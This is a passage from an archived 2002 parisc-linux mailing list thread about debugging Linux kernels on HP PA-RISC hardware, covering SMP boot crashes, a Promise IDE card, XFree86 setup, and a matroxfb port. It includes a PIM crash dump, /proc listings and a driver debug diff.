into our source tree and ultimately back to Alan Cox/Linus.

...
> > #define PDC202XX_DEBUG_DRIVE_INFO               0
> > #define PDC202XX_DECODE_REGISTER_INFO           0
> > 
> >   and rebuild the module with that.
> > 
> > 3) post the console log and "ser pim" output at PDC prompt.

Using a serial console makes it easier to grab console logs in
the case were the machine is crashing.

Generally, I can help decode HPMCs and explain what might be wrong.
That's what the "ser pim" output is for.

I really need both to debug most IO problems.


grant


From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Thu, 19 Sep 2002 16:46:09 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20020919224609.DF1314829@dsl2.external.hp.com>
References: <Pine.OSF.4.33.0209191111490.32375-100000@simba.sch.bme.hu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621736 14203 80.91.229.3 (22 Nov 2014 02:02:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:16 +0000 (UTC)
Cc: "J.Steindlberger" <j@steindlberger.de>,
	parisc-linux@lists.parisc-linux.org
To: Istvan Gyenes <frts@simba.sch.bme.hu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 16:46:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DF1314829; Thu, 19 Sep 2002 16:46:09 -0600 (MDT)
In-Reply-To: Message from Istvan Gyenes <frts@simba.sch.bme.hu> 
   of "Thu, 19 Sep 2002 11:17:00 +0200." <Pine.OSF.4.33.0209191111490.32375-100000@simba.sch.bme.hu> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16187

Istvan Gyenes wrote:
> Hello Joerg,
> 
> The only difference between the non-smp and smp kernel config file is
> CONFIG_SMP=yes , AFAIK.
> I made a "make menuconfig" and the only thing I've changed is SMP support.

I'm paranoid. I do "make distclean" when doing anything other than
adding/removing drivers. Save/restore the .config if you need to before
running "make distclean".  I don't trust the Makefiles to rebuild
everything correctly for "global" CONFIG_ changes like "SMP".

> The strange thing is that the precompiled smp kernel from the install cd
> boots fine. (2.4.18-smp)

SMP on 2.4.19 isn't as stable yet.  So that's no surprise.

If you want to debug this further, define "EARLY_BOOTUP_DEBUG"
in arch/parisc/kernel/pdc_cons.c and you should get more output
about how far the kernel gets before it crashes/hangs.

grant


From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ide controller
Date: Thu, 19 Sep 2002 17:02:07 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20020919230207.6835D4829@dsl2.external.hp.com>
References: <20020916043004.B27754829@dsl2.external.hp.com> <28859.1032424874@www2.gmx.net> <1032430004.26669.1.camel@irongate.swansea.linux.org.uk>  <20020919125032.50BB0482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621736 14206 80.91.229.3 (22 Nov 2014 02:02:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:16 +0000 (UTC)
Cc: moritz@freesources.org, parisc-linux@lists.parisc-linux.org
To: "J.Steindlberger" <j@steindlberger.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 17:02:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 6835D4829; Thu, 19 Sep 2002 17:02:07 -0600 (MDT)
In-Reply-To: Message from "J.Steindlberger" <j@steindlberger.de> 
   of "Thu, 19 Sep 2002 14:50:45 +0200." <20020919125032.50BB0482A@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16188

"J.Steindlberger" wrote:
> The kernel crashed alike. Do You have any ideas to get more debug output?

If the crash was an "HPMC", then "ser pim" at PDC prompt will
tell you machine state and why it crashed. If the crash
was a regular panic, the console output will tell the reason, where,
and give a register dump. Post either or both of those here
and we can try to decode it for you.

grant


From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: XFree86 on B180
Date: Thu, 19 Sep 2002 17:24:15 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20020919232415.D05784829@dsl2.external.hp.com>
References: <OF0516E33B.55652A57-ONC1256C39.0051BFF7@rdp.asi.alcatel.es>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621737 14208 80.91.229.3 (22 Nov 2014 02:02:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Francisco_Javier.Llorente_Recio@alcatel.es
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 17:24:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D05784829; Thu, 19 Sep 2002 17:24:15 -0600 (MDT)
In-Reply-To: Message from Francisco_Javier.Llorente_Recio@alcatel.es 
   of "Thu, 19 Sep 2002 17:08:16 +0200." <OF0516E33B.55652A57-ONC1256C39.0051BFF7@rdp.asi.alcatel.es> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16189

Francisco_Javier.Llorente_Recio@alcatel.es wrote:
> Well, It's running smoothly... but i need to run also the XFree86...
> and it seems not to work. I've tested several configurations and all
> that I get is an "(EE) No devices detected" error.

Works For Me(tm).
Uploaded my XF86 config file to:
	ftp://ftp.parisc-linux.org/kernels/b180/XF86Config-4.ggg

and currently running kernel:
	ftp://ftp.parisc-linux.org/kernels/b180/2.4.19-pa10.tgz

Kernels found in kernels/32/ on the same server should work just as well.

grant


From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] partial success with matroxfb
Date: Fri, 20 Sep 2002 02:27:01 +0200
Lines: 299
Approved: news@gmane.org
Message-ID: <20020920002700.GY22068@gate450.dyndns.org>
References: <20020821232010.GD15344@gate450.dyndns.org> <20020822225054.GA24190@ppc.vc.cvut.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="hUH5gZbnpyIv7Mn4"
X-Trace: ger.gmane.org 1416621737 14211 80.91.229.3 (22 Nov 2014 02:02:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:17 +0000 (UTC)
Cc: Petr Vandrovec <vandrove@vc.cvut.cz>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 18:27:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hptux.heylan (p50841CD1.dip.t-dialin.net [80.132.28.209])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2CF944829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 18:27:11 -0600 (MDT)
Original-Received: from andreas by hptux.heylan with local (Exim 3.35 #1 (Debian))
	id 17sBdO-0007Xx-00; Fri, 20 Sep 2002 02:27:02 +0200
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	Petr Vandrovec <vandrove@vc.cvut.cz>
Content-Disposition: inline
In-Reply-To: <20020822225054.GA24190@ppc.vc.cvut.cz>
User-Agent: Mutt/1.4i
X-PGP-Key: http://gate450.dyndns.org/~andreas/gpg_public_key.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16190

--hUH5gZbnpyIv7Mn4
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello list,

here is a report about my experiments with a "Matrox Mystique" in
a C200. The attached diff shows the _temporary_ changes I made to the
matroxfb.

I replaced the {read,write}{b,w,l} calls to their __raw equivalents,
because Petr Vandrovec told me that matroxfb expects them to do BE to
PCI on BE machines. I had no success when running the card in LE mode.

After modprobing the module with noinit=0 the frame buffer seems to be 
up and working. I can use fbset on the device and display text by 
writing to /dev/tty1. But as soon as there is much traffic (like ping
-f through a NIC or disk i/o) on the PCI bus, the kernel hangs. 

testing was done with 2.4.19-pa17

This is the output of PIM after doing a TOC:

=============

-----------------  Processor 0 HPMC Information ------------------

Timestamp =   Mon Sep  16 01:49:14 GMT 2002    (20:02:09:16:01:49:14)

HPMC Chassis Codes = 0xcbf0  0x5002  0x540f  0x5508  0xcbfb  

General Registers 0 - 31
00-03   0000000000000000  fffffffffff0bdc0  00000000f3ef8000  00000000f3ef8002
04-07   000000001fb9d940  000000000000000f  000000000000003b  00000000103d2010
08-11   000000000000000f  000000000000004d  000000000004000e  00000000103705ac
12-15   0000000000000000  0000000000000000  00000000000000fd  00000000f0100000
16-19   00000000103b45c0  00000000f000020c  00000000f0000204  00000000000000de
20-23   000000000000000e  00000000000003e8  000000000bebc200  00000000000f4240
24-27   0000000000000000  00000000000f4240  05f5e10000000032  00000000102fa010
28-31   000000001fb9dd6c  17d78400000000c8  00000000103b4980  000000000004d518

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   00000000000000a0  0000000000000000  00000000000000c0  000000000000001f
12-15   0000000000000000  0000000000000000  0000000000107000  00000000f0000000
16-19   00000024a0d4f160  0000000000000000  000000000004d534  0000000000141860
20-23   0000000000000000  0000000000000000  000000ff0004fc0c  0000000000000000
24-27   000000000031c000  000000000f022000  00000000ffffffff  00000000ffffffff
28-31   00000000ffffffff  00000000ffffffff  00000000103b4000  00000000103b8000

Space Registers 0 - 7
00-03   00000000          00000000          00000000          00000050
04-07   00000000          00000000          00000000          00000000

<Press any key to continue (q to quit)> 

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x000000000004d538
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00305004
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000fff3ef8002
System Requestor Address     = 0xfffffffffffa0000
Check Summary                = 0x8000000810004000
Available Memory             = 0x0000000000000000
CPU Diagnose Register 2      = 0x0501000000000004
CPU Status Register 0        = 0x1420c20000000000
CPU Status Register 1        = 0x8000000800000000
SADD LOG                     = 0x7f1fde477f7fde47
Read Short LOG               = 0xc10200fff3ef8002

<Press any key to continue (q to quit)> 

Memory Error Log Information:

Timestamp =   Mon Sep  16 01:49:14 GMT 2002    (20:02:09:16:01:49:14)

   No memory errors logged


I/O Module Error Log Information:

Timestamp =   Mon Sep  16 01:49:16 GMT 2002    (20:02:09:16:01:49:16)

Bus    HPA       Module Type      Path  Slt Md Sev  Estat Requestor  Responder
--- ---------- ---------------- -------- -- -- ---- ----- ---------- ----------
 0  0xfff88000 I/O Adapter      8         2  0  he   0x3d 0xf2000000 0x000a1000 
 0  0xfff8a000 I/O Adapter      10        2  2  he   0x0d 0x00000000 0x00000000 

=============

I suspect that there's something wrong with the pci bus, but I couldn't
decode it further.

here is the log from modprobing the module:

================
matroxfb: Matrox Mystique 220 (PCI) detected
matroxfb: Your Matrox device does not have BIOS
post_shift_max: 3
ref_freq: 14318
freq: 133333
vco_freq_min: 62000
in_div_min: 1
in_div_max: 31
feed_div_min: 100
feed_div_max: 127
fmax: 220000
clk: 0C 78 00 14318 133267 66666
requested 640*480/8bpp (640*6547)
matroxfb: 640x480x8bpp (virtual: 640x6547)
matroxfb: framebuffer at 0xF3000000, mapped to 0xf3000000, size
4194304
requested 640*480/8bpp (640*6547)
post_shift_max: 3
ref_freq: 14318
freq: 25175
vco_freq_min: 62000
in_div_min: 1
in_div_max: 31
feed_div_min: 100
feed_div_max: 127
fmax: 220000
clk: 08 7E 03 14318 202042 50350
matroxfb: Pixel PLL not locked after 5 secs
MiscOutReg: 8B
SEQ regs:   00:01:0F:00:0E:
GDC regs:   00:00:00:00:00:40:05:0F:FF:
CRTC regs:
5F:4F:4F:83:51:9D:0B:3E:00:40:00:00:00:00:00:00:E9:2B:DF:28:00:DF:0C:C3:FF:
ATTR regs:
00:01:02:03:04:05:06:07:08:09:0A:0B:0C:0D:0E:0F:41:FF:0F:00:00:
requested 640*480/8bpp (640*6547)
post_shift_max: 3
ref_freq: 14318
freq: 25175
vco_freq_min: 62000
in_div_min: 1
in_div_max: 31
feed_div_min: 100
feed_div_max: 127
fmax: 220000
clk: 08 7E 03 14318 202042 50350
MiscOutReg: 8B
SEQ regs:   00:01:0F:00:0E:
GDC regs:   00:00:00:00:00:40:05:0F:FF:
CRTC regs:
5F:4F:4F:83:51:9D:0B:3E:00:40:00:00:00:00:00:00:E9:2B:DF:28:00:DF:0C:C3:FF:
ATTR regs:
00:01:02:03:04:05:06:07:08:09:0A:0B:0C:0D:0E:0F:41:FF:0F:00:00:
Console: switching to colour frame buffer device 80x30
fb0: MATROX VGA frame buffer device

=============

anotherhpmachien:~# cat /proc/pci 
PCI devices found:
  Bus  0, device   1, function  0:
    VGA compatible controller: Matrox Graphics, Inc. MGA 1064SG [Mystique] (rev 3).
      IRQ 97.
      Master Capable.  Latency=248.  
      Prefetchable 32 bit memory at 0xf3000000 [0xf37fffff].
      Non-prefetchable 32 bit memory at 0xf3ffc000 [0xf3ffffff].
  Bus  0, device  19, function  0:
    SCSI storage controller: LSI Logic / Symbios Logic (formerly NCR) 53c875 (rev 4).
      IRQ 99.
      Master Capable.  Latency=255. Min Gnt=17.Max Lat=64.
      I/O at 0xfe00 [0xfeff].
      Non-prefetchable 32 bit memory at 0xf3ff9000 [0xf3ff90ff].
      Non-prefetchable 32 bit memory at 0xf3ffa000 [0xf3ffafff].
  Bus  0, device  20, function  0:
    Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 48).
      IRQ 96.
      Master Capable.  Latency=255.  Min Gnt=20.Max Lat=40.
      I/O at 0xff00 [0xff7f].
      Non-prefetchable 32 bit memory at 0xf3ffb000 [0xf3ffb07f].

=============
anotherhpmachien:~# cat /proc/iomem 
00000000-0fffffff : System RAM
  00000000-000009ff : PDC data (Page Zero)
  00100000-002f3fff : Kernel code
  002f4000-003f9f3f : Kernel data
f0190001-f0190001 : led_data
f1000000-f1ffffff : GSC Bus [10/]
  f1000000-f1000fff : Cujo
f2000000-f3ffffff : GSC Bus [8/]
  f2000000-f2000fff : Dino
  f2003000-f2003fff : Serial RS232
  f2800000-f2ffffff : Dino LMMIO
  f3000000-f37fffff : matroxfb FB
  f3ffb000-f3ffb07f : tulip
  f3ffc000-f3ffffff : matroxfb MMIO
f4000000-fff7ffff : GSC Bus [8/]
  ffd00000-ffdfffff : Lasi
    ffd00000-ffd00fff : Lasi
    ffd02000-ffd02fff : Parallel
    ffd04000-ffd04fff : Lasi Harmony
    ffd05000-ffd05fff : Serial RS232
    ffd06000-ffd06fff : Lasi SCSI
    ffd08000-ffd08fff : Lasi psaux
fff80000-fffaffff : Central Bus
  fff88000-fff88fff : U2/Uturn
  fff8a000-fff8afff : U2/Uturn
  fffa0000-fffa0fff : CPU
fffb0000-fffdffff : Local Broadcast
fffe0000-ffffffff : Global Broadcast

thanks
andreas

--hUH5gZbnpyIv7Mn4
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="temporary-changes.diff"

--- linux/drivers/video/matrox/matroxfb_base.h	Mon Aug  5 02:12:55 2002
+++ linux/drivers/video/matrox/matroxfb_base.h	Fri Sep 20 01:13:54 2002
@@ -10,10 +10,12 @@
 
 /* general, but fairly heavy, debugging */
 #undef MATROXFB_DEBUG
+#define MATROXFB_DEBUG
 
 /* heavy debugging: */
 /* -- logs putc[s], so everytime a char is displayed, it's logged */
 #undef MATROXFB_DEBUG_HEAVY
+#define MATROXFB_DEBUG_HEAVY
 
 /* This one _could_ cause infinite loops */
 /* It _does_ cause lots and lots of messages during idle loops */
@@ -21,9 +23,11 @@
 
 /* Debug register calls, too? */
 #undef MATROXFB_DEBUG_REG
+#define MATROXFB_DEBUG_REG
 
 /* Guard accelerator accesses with spin_lock_irqsave... */
 #undef MATROXFB_USE_SPINLOCKS
+#define MATROXFB_USE_SPINLOCKS
 
 #include <linux/config.h>
 #include <linux/module.h>
@@ -108,7 +112,7 @@
 #endif
 #endif
 
-#if defined(__alpha__) || defined(__m68k__)
+#if defined(__alpha__) || defined(__m68k__) || defined(__hppa__)
 #define READx_WORKS
 #define MEMCPYTOIO_WORKS
 #else
@@ -174,27 +178,33 @@
 
 #ifdef READx_WORKS
 static inline unsigned int mga_readb(vaddr_t va, unsigned int offs) {
+	return __raw_readb(va.vaddr + offs);
 	return readb(va.vaddr + offs);
 }
 
 static inline unsigned int mga_readw(vaddr_t va, unsigned int offs) {
+	return __raw_readw(va.vaddr + offs);
 	return readw(va.vaddr + offs);
 }
 
 static inline u_int32_t mga_readl(vaddr_t va, unsigned int offs) {
+	return __raw_readl(va.vaddr + offs);
 	return readl(va.vaddr + offs);
 }
 
 static inline void mga_writeb(vaddr_t va, unsigned int offs, u_int8_t value) {
-	writeb(value, va.vaddr + offs);
+//	writeb(value, va.vaddr + offs);
+	__raw_writeb(value, va.vaddr + offs);
 }
 
 static inline void mga_writew(vaddr_t va, unsigned int offs, u_int16_t value) {
-	writew(value, va.vaddr + offs);
+//	writew(value, va.vaddr + offs);	
+	__raw_writew(value, va.vaddr + offs);
 }
 
 static inline void mga_writel(vaddr_t va, unsigned int offs, u_int32_t value) {
-	writel(value, va.vaddr + offs);
+//	writel(value, va.vaddr + offs);	
+	__raw_writel(value, va.vaddr + offs);
 }
 #else
 static inline unsigned int mga_readb(vaddr_t va, unsigned int offs) {

--hUH5gZbnpyIv7Mn4--


From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: Re: [parisc-linux] ide controller
Date: Fri, 20 Sep 2002 08:06:56 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <sd8ad9a7.057@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621737 14216 80.91.229.3 (22 Nov 2014 02:02:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:17 +0000 (UTC)
Cc: <grundler@dsl2.external.hp.com>, <moritz@freesources.org>,
	<parisc-linux@lists.parisc-linux.org>
To: <j@steindlberger.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 00:18:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0613D482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 00:18:42 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id IAA22380 for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 08:18:39 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma022107; Fri, 20 Sep 02 08:17:20 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Fri, 20 Sep 2002 08:17:43 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16191

>On Thursday 19 September 2002 12:06, you wrote:

>we tried a different controller with originally an eprom bios. We simply =
put=20
>that eeprom away. (The Promise has a chip-integrated flash bios - =
putting=20
>that away seems not to be possible.) The kernel crashed alike. Do You =
have=20
>any ideas to get more debug output? I could set up my second C-Class =
with=20
>parisc-linux and test it there. (The first one is now running some =
essential=20
>services - continued crashing would not be good.)
>
I have successfully run a PDC20265 Promise card on an Alpha, so the BIOS
is not needed to use it from Linux.

Kind regards,
Jurriaan



From - Thu Nov 08 21:24:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partial success with matroxfb
Date: Fri, 20 Sep 2002 09:23:31 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <200209200923.31247.deller@gmx.de>
References: <20020821232010.GD15344@gate450.dyndns.org> <20020822225054.GA24190@ppc.vc.cvut.cz> <20020920002700.GY22068@gate450.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621738 14218 80.91.229.3 (22 Nov 2014 02:02:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:18 +0000 (UTC)
Cc: Petr Vandrovec <vandrove@vc.cvut.cz>
To: Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 01:24:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 06F314829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 01:24:37 -0600 (MDT)
Original-Received: (qmail 5583 invoked by uid 0); 20 Sep 2002 07:24:33 -0000
Original-Received: from pd9040218.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.2.24)
  by mail.gmx.net (mp006-rz3) with SMTP; 20 Sep 2002 07:24:33 -0000
User-Agent: KMail/1.4.7
In-Reply-To: <20020920002700.GY22068@gate450.dyndns.org>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16192

On Friday 20 September 2002 02:27, Andreas Seltenreich wrote:
> Hello list,
>
> here is a report about my experiments with a "Matrox Mystique" in
> a C200. The attached diff shows the _temporary_ changes I made to the
> matroxfb.
>
> I replaced the {read,write}{b,w,l} calls to their __raw equivalents,
> because Petr Vandrovec told me that matroxfb expects them to do BE to
> PCI on BE machines. I had no success when running the card in LE mode.


Hi Andreas,

instead of 

 static inline unsigned int mga_readb(vaddr_t va, unsigned int offs) {
+	return __raw_readb(va.vaddr + offs);
- 	return readb(va.vaddr + offs);
 }

I think you should use the
	fb_readXXX() and fb_writeXX()
functions from include/video/fbcon.h which are automatically
initialized correctly acording to the architecture.

Greetings,
Helge


From - Thu Nov 08 21:24:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Istvan Gyenes <frts@simba.sch.bme.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Fri, 20 Sep 2002 10:28:24 +0200 (MET DST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.OSF.4.33.0209201006420.5180-100000@simba.sch.bme.hu>
References: <20020919224609.DF1314829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
